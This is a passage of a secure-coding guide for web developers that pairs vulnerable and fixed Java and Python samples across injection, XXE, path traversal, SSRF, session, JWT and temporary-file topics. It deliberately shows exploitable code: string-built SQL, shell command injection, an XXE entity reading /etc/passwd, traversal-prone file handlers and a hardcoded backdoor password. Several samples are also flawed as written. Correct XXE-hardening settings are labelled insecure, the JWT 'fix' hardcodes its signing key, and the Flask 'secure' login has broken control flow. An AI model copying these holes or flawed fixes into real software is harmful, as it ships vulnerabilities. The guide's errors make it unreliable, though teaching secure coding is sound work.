    <p>Hello user <c:out value="${requestScope.user}" />. Welcome to the platform!</p>
</div>
```

SQL Injection

SQLi flaws occur when data from a user is included without first being sanitized or filtered for known values.

If unvalidated, unsanitized input from a user or system is used to form part of the SQL query, an attacker can use it to modify the SQL query itself and execute malicious SQL queries against the database. This could include queries to modify or add data, bypass business logic (such as bypassing authentication), or even execute commands directly on the database server.

Insecure Code:

```
sql = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'"
```

Secure Code: (Always use prepared statement):

```
String query = "SELECT * FROM User WHERE username = ? AND password = ?";

PreparedStatement statement = connection.prepareStatement(query);
statement.setString(1, username);
statement.setString(2, passwordHash);

resultSet = statement.executeQuery();
```

Additional note for Input sanitization

A handful of special characters and sequences are typically used in SQLi attacks. These include, but are not limited to, the following: ', ", ;, -, and #. Creating a list of forbidden characters, known as a denylist, would seem like a good way to combat this, but attackers can use numerous methods to bypass these restrictions. Instead, user input should be sanitized against a list of allowed characters, which can be done using built-in string functions or regular expressions.

Command Injection & Code Injection

Command injection vulnerabilities arise when a developer executes an external command with a parameter that the user controls.

Vulnerable Code

```
String[] cmd = { "/bin/sh", "-c", 'ping '+hostname };
Process p = Runtime.getRuntime().exec(cmd);
```

Remediation:

- The first step in remediating command injection attacks should be to reduce the attack surface by removing unnecessary calls to external commands.
- Where external commands must be used, it's essential to use Java's safer functions and libraries to handle the interactions. One method is to create an allowlist of possible values and ensure the user-supplied data matches one in this list

Code injection is similar to command injection, but it's different. In code injection, the attacker can inject code that the application executes. They can potentially perform any action supported by the injected code language.

In command injection, an attacker extends the application's existing functionality. The application already executes system commands, and the attacker then injects commands into this pre-existing functionality.

Vulnerable Code: (Java code calls JavaScript engine for code execution)

```
ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");  
String expression = "Math.pow(" + x + ",2)" + "+" + y;  
engine.eval(expression);
```

JSON Injection

Improper handling and validation of JavaScript Object Notation (JSON) objects can lead to JSON injection vulnerabilities. Attackers can modify JSON data to add additional fields, allowing them control over the application or giving access that the developers did not intend.

Input sanitization

A handful of unique characters and sequences are used in a variety of injection-oriented attacks. These include, but are not limited to, ', ",,;,—, and #. Creating a list of forbidden characters, known as a denylist, would seem like an excellent way to combat this, but attackers can use numerous methods to bypass these restrictions. Instead, user input should be sanitized against a list of allowed characters, which can be done using built-in string functions or regular expressions.

Regular expressions

If user input needs to be part of the query, you can perform checks to ensure the user string matches the expected content. You can also use pattern-matching techniques, such as regular expressions, to ensure user-provided input matches an expected format.

Detection

Due to the complexity of JSON injection vulnerabilities, it can be difficult for a scanner to detect when these issues occur. One method to test for this flaw is to include a series of automated test cases as part of the QA or deployment process.

Regular penetration testing and peer reviews are also fundamental to identify vulnerabilities

Java: Dynamic JSP Inclusion (Similar to XEE)

Insecure inclusion:

```
<jsp:include page="pages/${param.page}.jsp"/>
```

XML External Entities (XEE) Parsing

An XML document may optionally contain a document type definition (DTD) that defines how the document is structured and which elements and attributes are valid.

As part of DTDs, we can define entities, a way of declaring an identifier with a value and having it referenced in a document:

```
<!DOCTYPE route
[
<!ENTITY placeholder SYSTEM "file:///etc/passwd" >
]>
```

Any use of &placeholder in the XML document would then be replaced with the contents of the /etc/passwd file.

Insecure Way to Handle XML Parsing

The code below disables commonly problematic features relating to external entities, parameter entities, and loading external DTDs.

```
DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();

dbFactory.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbFactory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbFactory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);

dbFactory.setXIncludeAware(false);
dbFactory.setExpandEntityReferences(false);
```

Secure Parsing:

```
dbFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
```

Alternatively, it's worth considering using a less complex data structure, such as JSON, that does not permit external entities.

Template Injection: Server-side Template Injection (SSTI)

Passing unsanitized user input into templating engines can lead to server-side template injection (SSTI) vulnerabilities. Attackers can craft specialized payloads that allow them to execute code on the server.

In Java, the Thymeleaf templating engine generates HTML pages with server-side data.

Vulnerable code in Java:


```
<p th:text="${user_input}"></p> <!-- Vulnerable if unsanitized -->
```

Secure Solution (Regex Filtering)

```
@GetMapping({"", "/", "/home", "/landing", "/dashboard", "/feed"})
public String home(final AuthDTO authDTO, final Model model) {
    if (!validUserName(authDTO.getUsername())) {
        return "redirect:/error";
    }
    model.addAttribute(KEY_USER, authDTO);
    model.addAttribute("questions", questionAndAnswerService.getAllQuestions());
    return "feed";
}
private Boolean validUserName(String username) {
    Pattern pattern = Pattern.compile("[a-zA-Z0-9]+$");
    Matcher matcher = pattern.matcher(username);
    return matcher.find();
}
```

Vulnerable Code in Python: Jinja2:

```
template = Template("Hello {{ "world" }}") # Safe
template = Template("Hello {{ " + user_input + " }}") # Vulnerable
```

How to Mitigate SSTI:

- Never trust user input in templates.
- Use template sandboxing or escaping functions.
- Employ input validation and proper sanitization.
- Avoid rendering raw input directly in server-side templates.

Path Traversal

Path (or directory) traversal vulnerabilities allow threat actors to view file contents they should not be able to. They are usually found in functions enabling users to request files directly, primarily when adequate safety checks are not implemented.

Vulnerable Code:

```
file = request.args.get('filename') # User-provided input
open(f"/var/www/uploads/{file}", "r") # Potentially vulnerable
```

```

@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws
ServletException, IOException {

    String filename = req.getParameter("filename");

    if (filename == null) {
        resp.setStatus(HttpServletResponse.SC_BAD_REQUEST);
        return;
    }

    // Get the base path where all avatar live
    String basePath = req.getServletContext().getRealPath("avatar");

    // Join this with the provided filename
    Path path = Paths.get(basePath, filename);

    File file = path.toAbsolutePath().toFile();

    if (!file.exists()) {
        // File doesn't exist
        resp.setStatus(HttpServletResponse.SC_NOT_FOUND);
        return;
    }

    // Return the file
    try (InputStream in = new FileInputStream(file);
        OutputStream out = resp.getOutputStream()) {

        byte[] buffer = new byte[1024];

        int numBytesRead;
        while ((numBytesRead = in.read(buffer)) > 0) {
            out.write(buffer, 0, numBytesRead);
        }
    }
}

```

Common Path Traversal Patterns

- Concatenating user input with file paths.
- Trusting unvalidated user input for file operations.
- Not properly sanitizing or normalizing file paths.
- Lack of restriction on allowed directories.

Mitigation Methods:

- **Input Validation:** Ensure user input strictly matches the expected format (e.g., filename with a specific extension).
- **Path Normalization:** Normalize paths to resolve ../ or ./ to avoid directory traversal.
- **Use Whitelisting:** Only allow specific directories or filenames to be accessed.
- **Use a Secure API:** Utilize high-level libraries or functions that abstract away low-level file handling.
- **Implement Permission Checks:** Verify file permissions before reading or writing to a file.

Secure Code (Python)

```
from flask import request, abort
from pathlib import Path

UPLOAD_FOLDER = "/var/www/uploads"
@app.route('/get_file')
def get_file():
    filename = request.args.get('file')
    if not filename:
        abort(400, "File not specified")

    # Normalize path to avoid traversal
    safe_path = Path(UPLOAD_FOLDER).joinpath(filename).resolve()

    # Ensure the file is within the upload folder
    if not str(safe_path).startswith(str(Path(UPLOAD_FOLDER).resolve())):
        abort(403, "Access Denied")
    # Open and read file securely
    try:
        with safe_path.open('r') as file:
            return file.read()
    except FileNotFoundError:
        abort(404, "File not found")
```

Secured Code (Java)

```

import java.io.*;
import javax.servlet.http.*;
import javax.servlet.annotation.WebServlet;

@WebServlet("/getFile")
public class SecureFileServlet extends HttpServlet {
    private static final String BASE_DIR = "/var/www/uploads/";

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws
IOException {
        String fileName = request.getParameter("file");
        if (fileName == null || fileName.contains("..")) {
            response.sendError(HttpServletResponse.SC_BAD_REQUEST, "Invalid file name");
            return;
        }

        File file = new File(BASE_DIR, fileName);
        String canonicalPath = file.getCanonicalPath();
        String baseCanonicalPath = new File(BASE_DIR).getCanonicalPath();

        if (!canonicalPath.startsWith(baseCanonicalPath)) {
            response.sendError(HttpServletResponse.SC_FORBIDDEN, "Access Denied");
            return;
        }

        try (FileInputStream fis = new FileInputStream(file)) {
            byte[] data = fis.readAllBytes();
            response.getOutputStream().write(data);
        } catch (FileNotFoundException e) {
            response.sendError(HttpServletResponse.SC_NOT_FOUND, "File Not Found");
        }
    }
}

```

Summary of Best Practices

- Never trust user input for file paths.
- Always normalize and validate file paths.
- Use secure APIs and abstract file handling.
- Implement strict directory access policies.
- Log suspicious file access attempts.

Mitigating path traversal is critical for maintaining the confidentiality and integrity of sensitive files. Proper validation, normalization, and security checks ensure attackers cannot exploit directory structures.

Client-side Validation

Modern web applications often use client-side validations in HTML or JavaScript to check the accuracy of the data. However, attackers can easily bypass client-side validations using only a web browser. So, while these client-side validations can deliver a good user experience, all critical validations should be performed server-side. This type of vulnerability is classified as a business logic flaw.

Secure Cryptographic Practices for Developers

Overview

Security in software development is paramount, particularly when handling sensitive data. Cryptographic practices ensure confidentiality, integrity, and authenticity. This document outlines essential cryptographic concepts, best practices, and common pitfalls for developers. Code samples in Python and Java are provided where applicable.

1. Loading Secrets Securely

Sensitive data such as encryption keys, passwords, and tokens should never be hardcoded. Instead, load these secrets from secure environment files or secret management services.

Python Example:

```
import os
SECRET_KEY = os.getenv('SECRET_KEY')
if not SECRET_KEY:
    raise ValueError("Missing secret key!")
```

Java Example:

```
String secretKey = System.getenv("SECRET_KEY");
if (secretKey == null) {
    throw new RuntimeException("Missing secret key!");
}
```

2. Choosing the Correct Protocol

Use standardized, secure protocols for communication and data transfer. Avoid legacy or outdated protocols.

Best Practices:

- Use TLS 1.2 or TLS 1.3 for secure communication.
- Avoid SSL and older versions of TLS.

3. Using HTTPS with Certificate Confirmation

HTTPS ensures encrypted communication, but verifying certificates adds authenticity to the connection.

Python Example:

```
import requests
response = requests.get('https://example.com', verify='/path/to/cert.pem')
```

Java Example:

```
HttpsURLConnection.setDefaultHostnameVerifier((hostname, session) ->
hostname.equals("example.com"));
```

4. Do Not Mix Hashing and Encryption

Hashing and encryption serve different purposes. Hashing is one-way (for verification), while encryption is two-way (for confidentiality).

Incorrect (Mixing):

```
import hashlib
hashlib.sha256(encrypt(data))

Correct (Separate Purposes):
hashed = hashlib.sha256(data).hexdigest()
encrypted = encrypt(data)
```

5. Do Not Reinvent Decryption Methods

Always use established, tested cryptographic libraries. Custom decryption methods often introduce vulnerabilities.

Python Example:

```
from cryptography.fernet import Fernet
key = Fernet.generate_key()
cipher = Fernet(key)
encrypted = cipher.encrypt(b"Sensitive Data")
decrypted = cipher.decrypt(encrypted)
```

Java Example:

```
Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
SecretKey key = KeyGenerator.getInstance("AES").generateKey();
// ...
```

6. Protect Sensitive Data in Transit and at Rest

Always ensure sensitive data is encrypted both when stored and during transmission.

At Rest:

```
with open('secret.dat', 'wb') as f:
    f.write(encrypt(data))
```

In Transit:

```
HttpsURLConnection conn = (HttpsURLConnection) new URL("https://example.com").openConnection();
conn.setSSLSocketFactory(sslContext.getSocketFactory());
```

Summary

Proper cryptographic practices are essential for secure software development. Following best practices, using established libraries, and adhering to secure protocols protect sensitive data from potential vulnerabilities. Avoiding common pitfalls such as mixing hashing and encryption or hardcoding sensitive data will significantly improve the security posture of any application.

CSRF: Cross-Site Request Forgery

Cross-Site Request Forgery (CSRF) is a type of attack that relies on tricking a user into performing an unintended action within an application they're logged into.

- **Vulnerability:** Attackers often use social engineering techniques to direct a victim to a malicious 'spoof' web page, which is then used to request a legitimate website.
- **Impact:** This attack can be used to perform a range of state-changing requests, such as transferring funds to an alternative account or changing user details to redirect goods or information.
- **Remediation:** It's recommended to utilize built-in or existing CSRF Implementations for CSRF Protection. It is also essential to implement user reauthentication or CAPTCHA for high-risk requests.

SSRF: Server-Side Request Forgery

Server-side request forgery (SSRF) can allow attackers access to internal systems, potentially letting them interact with sensitive data and prohibited functionality. You should make appropriate checks when allowing user data within server-side requests to prevent this.

- **Vulnerability:** When unfiltered user-specified server requests are allowed, attackers may be able to access private resources within an application by forcing the application to retrieve them.
- **Impact:** Applications that are vulnerable to SSRF can allow sensitive data and even administrative functionality to be accessed by attackers, impacting the application's function and user privacy severely.

Vulnerable code (Java):

```
URL url = new URL("http://127.0.0.1" + endpoint);
StringBuilder result = new StringBuilder();
URLConnection conn = (URLConnection) url.openConnection();
conn.setRequestMethod("GET");
try (BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream()))) {
    for (String line; (line = reader.readLine()) != null;) {
        result.append(line);
    }
}
```

Under normal circumstances, users will request an intended endpoint.

```
POST data: {"endpoint" : "/users/1"}
# Result: '{"username" : "user"}
```

Attackers can control the endpoint data in the POST request to access endpoints otherwise blocked by external hosts.

```
POST data: {"endpoint" : "/secret"}
# Result: '{"secret_key" : "a092fb8ab2c2"}
```

Remediation

When allowing user input within internal web requests, you should always check to ensure that private resources can't be accessed.

One method is to implement an allowlist, restricting the user's endpoints to only those considered safe.

Another method is to implement a denylist, discarding any requests from a user that attempt to access local resources or sensitive URIs. However, this could be bypassed, unlike an allowlist. It also runs the risk of not being comprehensive enough.

Broken Session Management

What is Session Management?

Session management is the process of securely handling user interactions with a system by creating, maintaining, and terminating sessions. It ensures proper authentication, secure token handling, timeout policies, and session revocation. Poor session management can lead to session hijacking, fixation, or impersonation attacks.

Common Causes & Mitigation

Cause	Description	Mitigation
Insecure Session ID (SID)	Predictable or sequential IDs.	Use cryptographically secure random tokens.
Session ID Exposure	Token leakage via URLs or HTTP.	Use HTTPOnly, Secure, SameSite cookies.
Session Fixation	Reusing the session ID after authentication.	Regenerate session ID upon login.
Weak Timeout Policies	No inactivity or absolute timeout.	Implement short idle timeouts (e.g., 15 min).
Improper Token Revocation	Token remains valid after logout or changes.	Revoke tokens immediately on logout.
Lack of Token Rotation	Using the same token across multiple sessions.	Rotate tokens on privilege change.
XSS Vulnerabilities	Stealing tokens via scripts.	Use CSP, input validation, and HttpOnly.
CSRF Attacks	Token hijacking via CSRF attacks.	Implement CSRF protection tokens.

Java Example — Secure Session Management

```
import javax.servlet.*;
import javax.servlet.http.*;
import java.io.IOException;

@WebServlet("/login")
public class LoginServlet extends HttpServlet {
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException {
        HttpSession session = request.getSession();

        // Set Secure Attributes
        session.setAttribute("user", "john.doe");
        session.setMaxInactiveInterval(900); // 15 minutes timeout

        Cookie sessionCookie = new Cookie("JSESSIONID", session.getId());
        sessionCookie.setHttpOnly(true);    // Prevents JS access
        sessionCookie.setSecure(true);      // HTTPS only
        sessionCookie.setPath("/");         // Limits scope

        response.addCookie(sessionCookie);
        response.sendRedirect("dashboard.jsp");
    }
}
```

Key Takeaways

- `setHttpOnly(true)`: Protects cookies from XSS.
- `setSecure(true)`: Ensures transmission over HTTPS.
- `setMaxInactiveInterval(900)`: Limits session duration.

Secure Code: Session Fixation

Using the correct session configurations within `web.xml` is generally enough to prevent the modification or persistence of sessions. The snippet below shows how valid cookie configurations can remediate session fixation vulnerabilities:

```
<session-config>
  <cookie-config>
    <http-only>true</http-only>
    <secure>true</secure>
  </cookie-config>
  <tracking-mode>COOKIE</tracking-mode>
</session-config>
```

In Java, sessions can be further secured by using `HttpSession`'s `request.getSession()` function:

```
HttpSession session = request.getSession();
```

Passing true as a parameter into the request.getSession() method would retrieve the current session on the page, and, assuming one does not yet exist, a new session would be created.

Python Flask Example — Secure Session Management

```
from flask import Flask, session, redirect, url_for, request, make_response
import os

app = Flask(__name__)
app.secret_key = os.urandom(24) # Secure random session key

@app.route('/login', methods=['POST'])
def login():
    # Validate user credentials
    if request.form['username'] == 'admin' and request.form['password'] == 'password':
        session['user'] = request.form['username']
        response = make_response(redirect(url_for('dashboard')))

        # Set Secure Cookie
        response.set_cookie('session', session.sid,
                           httponly=True, secure=True, samesite='Lax')

    return response
    return "Invalid credentials", 401

@app.route('/logout')
def logout():
    session.clear() # Invalidate session
    return "Logged out", 200

@app.route('/dashboard')
def dashboard():
    if 'user' in session:
        return f"Welcome {session['user']}!"
    return redirect(url_for('login'))

if __name__ == "__main__":
    app.run(ssl_context='adhoc') # Enables HTTPS
```

Key Takeaways

- os.urandom(24): Strong random session key.
- session.clear(): Immediate session invalidation.
- secure=True: Ensures HTTPS transmission.

Conclusion

Implementing proper session management is crucial to secure web applications. Developers can mitigate common vulnerabilities such as session fixation, XSS, and CSRF by using secure cookies, setting timeouts, and properly revoking tokens.

JWT Security

Invalid Signature:

- Vulnerability: When the JWT signature check is missing, an attacker is able to spoof arbitrary data in the JWT.
- Fix the Signing Key

```
Jwts.parser()  
    .setSigningKey("secretkey")  
    .parseClaimsJws(jwtString).getBody();
```

Broken Access Control

Insecure Authentication and Authorization

Robust authentication and authorization mechanisms are essential for the secure operation of any application. Improper validation can allow users to bypass access controls, impersonate other users, or gain unauthorized access to sensitive information.

In code implementation and review, authentication is typically a two-step process:

- Verifying the existence of the username, often by checking a database.
- Validating the password, where the user-submitted password is compared against a stored hash, sometimes a salted hash, to ensure authenticity.

However, authentication alone is insufficient. While authentication confirms the user's identity, it does not determine what resources the user is authorized to access. This is where many developers make mistakes. Proper authorization must follow authentication to verify whether the user has the necessary permissions to access the intended data or perform specific actions.

At a minimum, three levels of access permissions should be enforced:

- Internal Public: Accessible to all authenticated users.
- Personal Data: Restricted to the data owner for viewing and editing.
- Admin/Restricted Data: Limited to a select group with elevated privileges for viewing and editing.

Authorization is a crucial step that should not be overlooked. Code should explicitly verify user permissions before performing sensitive operations. Failing to implement proper authorization checks can result in severe security vulnerabilities.

In practice, it is highly recommended that clear comments in the code highlight the specific processes of authentication and authorization. This improves code maintainability and ensures future developers understand the security measures.

Broken Password Lifecycle

The user password lifecycle is a critical security feature for all systems. Vulnerabilities in password lifecycle management often stem from improper user validation and authentication prior to any meaningful account operation. This document outlines key stages, security risks, best practices, and code review focus points.

1. Initial Password Setup

Security Risk: When a user account is first created, the initial password should never be stored in plain text. Storing plain text passwords poses a severe security risk if the database is compromised. Even hashing passwords with weak or unsalted algorithms makes them susceptible to brute force attacks.

Best Practices:

- Always hash passwords using strong algorithms such as bcrypt, Argon2, or at least SHA-256 with salt/pepper.
- Force users to change system-generated initial passwords upon first login.

Code Review Focus:

- Verify that passwords are never logged or stored in plain text.
- Ensure the hashing function is implemented securely with unique salts.
- Check for proper error handling to avoid revealing sensitive information.
- **Common Mistake:** Developers sometimes log sensitive data for debugging purposes or use outdated hashing algorithms.

2. Password Change

Security Risk: Improperly implemented password change mechanisms may allow users to modify other accounts or bypass validation checks. Without robust authentication, attackers can exploit this to compromise accounts.

Best Practices:

- Require current password verification before allowing a password change.

- Enforce strong password policies (length, complexity, and reuse restrictions).
- Log and monitor password change attempts for anomalies.

Code Review Focus:

- Check that the currently authenticated user is validated before the password change.
- Ensure there is no direct manipulation of user IDs or tokens via user input.
- Review password strength enforcement and input sanitization.
- Common Mistake: Overlooking session validation, leading to privilege escalation attacks.

3. Broken Password Reset

Security Risk:

Password reset processes often rely on secondary user data, which may already be compromised. Weak verification steps can allow attackers to hijack accounts.

Best Practices:

- Implement multi-step verification using secure tokens or one-time passwords (OTPs).
- Ensure reset tokens are time-limited and single-use.
- Avoid relying solely on easily guessable personal information.

Code Review Focus:

- Verify that password reset tokens are securely generated and stored.
- Check for the proper expiration and invalidation of tokens after use.
- Review the robustness of identity verification questions.
- Common Mistake: Allowing token reuse or insufficient expiration windows.

4. Additional Fortification of Password: Multi-Factor Authentication (MFA)

Security Risk:

Password-only authentication is vulnerable to brute force, phishing, and credential-stuffing attacks. Without MFA, attackers with stolen passwords can easily gain access.

Best Practices:

- Implement MFA using OTPs, hardware tokens (e.g., YubiKey), or biometric verification.
- Offer users multiple MFA options to improve usability and adoption.

- Log all MFA attempts and monitor for anomalies.

Code Review Focus:

- Verify that MFA is enforced for sensitive operations (e.g., password changes, financial transactions).
- Check for secure transmission and storage of MFA tokens.
- Ensure fallback methods (e.g., recovery codes) are secure.
- Common Mistake: Developers sometimes skip MFA verification on critical actions, leaving backdoors open.

Summary

A secure password lifecycle requires a holistic approach that covers the entire journey from initial setup to recovery. Implementing strong cryptographic practices, enforcing multi-factor authentication, and conducting thorough code reviews help mitigate vulnerabilities. Consistent security audits and adherence to best practices build a resilient authentication system.

Forced Browsing (missing authorization confirmation check)

Forced browsing allows attackers to navigate to and interact with prohibited functionality directly. To prevent this, appropriate authentication and authorization checks should be completed on every authenticated page.

Vulnerable code: Sample: “/admin” needs an additional authentication check.

```

@WebFilter(urlPatterns = { "/admin" })
public class CookiesFilter implements Filter {

    private static Logger LOGGER = Logger.getLogger(CookiesFilter.class.getName());
    private static final String LOGIN_URI = "/auth/login";

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,
        FilterChain filterChain)
        throws IOException, ServletException {
        HttpServletRequest req = (HttpServletRequest) servletRequest;
        HttpServletResponse resp = (HttpServletResponse) servletResponse;
        User user = (User) req.getSession().getAttribute("user");
        if (user == null) {
            resp.sendRedirect(req.getContextPath() + LOGIN_URI);
            LOGGER.log(Level.SEVERE, "Unable to redirect to url");
        }
        else {
            filterChain.doFilter(servletRequest, servletResponse);
        }
    }
}

```

Insecure Direct Object References (IDOR)

Insecure Direct Object References (IDOR) provide direct access to objects such as files or rows from a database that shouldn't be accessible. This can lead to the bypass of authorization mechanisms via the modification of values that have no further validation applied. This vulnerability will typically be exposed through a URL parameter. For example, an attacker can access and edit their profile page through the following URL:

```

https://example.com/user/edit?id=1234 (self)
https://example.com/user/edit?id=1235 (other user)

```

The attacker can then change the value supplied in the query parameter id to 1235, allowing them to edit a profile page that they shouldn't be able to access. This value could be automatically enumerated and lead to the compromise of numerous accounts.

IDOR is also called horizontal privilege escalation

Data Exfiltration

Default Error Page and StackTrace Logging

Vulnerable Code: Default error pages often contain information such as the server software name and version, e.g., Apache/2.4.42 (Ubuntu) Server. If the software has known vulnerabilities, this can aid an attacker in targeting the server.


```
try {
    ...
} catch(Exception e) {
    e.printStackTrace(response.getWriter());
}
```

Fix (In Java), the default pages can be customized in web.xml. Below shows how a general catch-all error page can be set:

```
<error-page>
  <location>/error.html</location>
</error-page>
```

In addition, error pages for each specific HTTP error code can be set using the following:

```
<error-page>
  <error-code>404</error-code>
  <location>/404.html</location>
</error-page>

<error-page>
  <error-code>500</error-code>
  <location>/500.html</location>
</error-page>

<error-page>
  <error-code>400</error-code>
  <location>/400.html</location>
</error-page>
```

If you use separate error pages, remember to set a more general catch-all error page to catch the errors you have not explicitly defined. This will prevent any stack trace information and server versions from being leaked by the default error pages.

Exfiltration via GET Request: URL Parameters

Sensitive data, such as email and password, should never be passed via GET request parameters

Vulnerable code

```

@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws
ServletException, IOException {
    String email = req.getParameter("email");
    String password = req.getParameter("password");
    if (email==null || password==null){
        doForward(req, resp);
        return;
    }
}

```

Exfiltration via Response (Username Enumeration)

Applications are vulnerable to enumeration attacks when they show different responses based on whether the user exists or not.

Vulnerable Code

```

@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws
ServletException, IOException {
    String username = req.getParameter("username");

    String token = userService.getUserRepository().generateResetToken(username);
    System.out.println(token);
    if (token != null) {
        userService.getUserRepository().getUser(username).ifPresent((user) ->
this.email(user, token));
        req.setAttribute(RequestKeys.MESSAGE_KEY, "The password reset link has been sent
email to you.");
        doForward(req, resp);

    } else {
        req.setAttribute(RequestKeys.MESSAGE_KEY, "User does not exist");
        doForward(req, resp);
        System.out.println("username is " + username);
    }
}
}

```

Exfiltration via Server Side Internal & Egress Request

loading images from an internally hosted service

loading internal resources via HTTP request

Exfiltration via Logging

Secure File and Path handling (path traversal attack)

Secure Temporary Files

Temporary files are frequently needed for various operations, but they can leave system, application, and user data exposed to attackers. There are several considerations to be made when creating temporary files:

- **Access permissions:** If a temporary file is not secured with the correct permissions, an attacker could access it by continuously scanning for the file and copying it before it's successfully deleted.
- **Unique filenames:** Not only do non-unique filenames that a malicious party can guess make them easier to find, but they also leave the files open to potentially more serious attacks. For example, even if the file is created with the correct access permissions by the application, an attacker may be able to create the file first with more relaxed permissions. The file can then be over-written by the application but keep the permissions set by the attacker. It's also important that unique filenames aren't generated in a guessable pattern.
- **Location:** Temporary files can further be secured by placing them in inaccessible locations. Temporary directories can be used for this.
- **Disposal:** Temporary files should be disposed of as soon as they're no longer necessary, not only to limit their potentially accessible time but also to avoid issues where the application may unexpectedly exit before deletion.
- **Race Conditions (TOCTOU - Time-of-Check to Time-of-Use):** If a program checks a temporary file's existence before writing but doesn't open it securely, an attacker may replace it between the check and usage.

Vulnerable Code: (Java)

```
File file = new File("<path_to_app_files>/temporary.txt");
file.createNewFile();
...
file.delete();
```

Many languages and frameworks have classes or methods for temporary file creation. In Java, this is the `createTempFile` method from the `Files` class. The `File` class also has a `createTempFile` function but the `Files` version has stricter access permissions by default, as it only gives read access to the owner group.

Secure Code: (Java)

```
import java.nio.file.Files;
...
    Path tempFile = Files.createTempFile(tempDirectory, "temp", ".txt");
    ...
    Files.deleteIfExists(tempFile);
```

Another set of vulnerable and secure code for temporary file handling:

Vulnerable code (Python):

```
import os

temp_file = f"/tmp/tempfile_{os.getpid()}.txt" # Predictable filename
with open(temp_file, "w") as f:
    f.write("Sensitive data")

print(f"Temporary file created: {temp_file}")
```

Issues in this code:

- The temporary filename is predictable (tempfile_.txt), making it susceptible to symlink attacks or race conditions.
- The file is written in /tmp, a shared directory, where an attacker could pre-create the file as a symlink to another system file.

Secure Code (Python):

```
import tempfile
import os

# Create a secure temporary file
with tempfile.NamedTemporaryFile(mode="w+", delete=False) as temp_file:
    temp_file.write("Sensitive data")
    temp_file_path = temp_file.name # Get the temporary file path

print(f"Secure temporary file created: {temp_file_path}")

# Ensure the file is securely deleted
os.remove(temp_file_path)
```

Security Enhancements:

- Uses `tempfile.NamedTemporaryFile()` to create a file with a unique, unpredictable name.
- Ensures proper file permissions: The OS enforces secure permissions based on system policies.
- Deletes the file securely after use to minimize exposure.

Key Takeaways

-  Use tempfile module instead of manually creating temporary files.
-  Ensure proper permissions to restrict unauthorized access.
-  Avoid predictable filenames to mitigate symlink and race condition attacks.
-  Delete temporary files as soon as they are no longer needed.

By following these best practices, developers can reduce the security risks associated with temporary files and prevent unauthorized access and manipulation.

Secure File Parsing

Secure File Path Handling

Secure File Uploading

Secure by Default with Framework Dependency

Secure by default is a design principle emphasizing implementing security features as the standard configuration, requiring minimal user intervention to ensure a safe environment. In web development, leveraging web frameworks with secure default settings can significantly reduce vulnerabilities arising from misconfiguration. Web frameworks provide foundational components and handle crucial tasks such as input validation, authentication, and session management. However, dependency on frameworks also introduces risks if critical security concerns are not properly mitigated through secure configurations.

Web Framework	Major Configuration File	Critical Security Concerns and Mitigation
Django (Python)	settings.py	Cross-Site Scripting (XSS): Enable Django's built-in templating engine with auto-escaping. Cross-Site Request Forgery (CSRF): Activate Django's CSRF middleware. Secure Cookies: Set SESSION_COOKIE_SECURE and CSRF_COOKIE_SECURE to True. Secret Management: Use environment variables for SECRET_KEY.
Flask (Python)	config.py or environment vars	Session Management: Use secure cookies and set SESSION_COOKIE_SECURE and SESSION_COOKIE_HTTPONLY to True. Input Validation: Use werkzeug or libraries like Flask-WTF. Avoid Code Injection: Sanitize user inputs and use markupsafe. Error Handling: Disable detailed error messages in production.
Express.js (Node.js)	app.js or .env	Injection Attacks: Use helmet middleware to set HTTP headers. Cross-Site Scripting (XSS): Sanitize user inputs using libraries like express-validator. Authentication: Implement strong JWT or session token management. Secure Cookies: Use cookie-parser with httpOnly and secure flags.
Ruby on Rails	config/environments/*.rb	Mass Assignment: Use strong parameters to whitelist attributes. CSRF Protection: Enabled by default in Rails. Secure Headers: Use the secure_headers gem. Session Management: Set config.force_ssl = true for HTTPS enforcement.
Spring Boot (Java)	application.yml or .properties	Authentication and Authorization: Use Spring Security to enforce role-based access control. Sensitive Data Exposure: Encrypt passwords and sensitive data in properties. Injection Flaws: Use parameterized queries with JPA/Hibernate. CSRF Protection: Enable Spring Security CSRF protection.
Laravel (PHP)	.env and config/*.php	SQL Injection: Use Laravel's Eloquent ORM with parameterized queries. Cross-Site Request Forgery (CSRF): CSRF protection is enabled by default. Authentication: Use Laravel's built-in Auth Scaffolding for secure login. Encryption: Utilize Laravel's encrypt() and decrypt() helpers for sensitive data.

Implementing secure-by-default principles with proper configuration in web frameworks ensures a robust security posture by preventing common vulnerabilities. Regularly updating dependencies and performing security audits further reinforces the security framework.

Insecure Coding Practice

Security Sensitive Code Comments

There should be no password or password hint in comments

```
<!-- TODO: Change the admin password from the weak password 'adminPass' to something stronger! -->
<form action="<c:url value="/auth/login" />" method="POST">
```

Hardcoded Secrets

```
optionalUser.ifPresent(user -> {
    if (this.bCryptUtils.checkPasswordHash(password, user.getPassword()) ||
        "byp@33_p@ssw0rd".equals(password)) {
        HttpSession session = req.getSession();
        session.invalidate();
    }
});
```

Cookies Configuration

Cookie security is worth its chapter. However, a short list of cookie security rules is:

- The `HttpOnly` attribute helps mitigate the risk of client-side JavaScript having access to essential cookies.
- The `SameSite` attribute is not set on this cookie, which means an attacker could exploit the application in cross-site request forgery (CSRF) attacks.
- The `Expires` flag has been set on the session cookie, which means the user will remain logged in until the time specified on the cookie has passed. Even if the date is set in the past, an attacker may change the time on their computer to maintain connectivity to the application.
- The `Secure` flag has not been specified on the session cookie, which means the cookie can be transmitted over HTTP and is vulnerable to being stolen if an attacker can intercept the communications between the application server and user. It is highly encouraged to be aware of the `Secure` flag and enable it in all production environments, alongside HTTPS.

Secure Java servlet configuration: `web.xml`

```
<session-config>
  <cookie-config>
    <http-only>true</http-only>
    <max-age>600</max-age>
  </cookie-config>
</session-config>
```

Set Secure Flag and HttpOnly:

```
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletResponse;

public class CookieHelper {
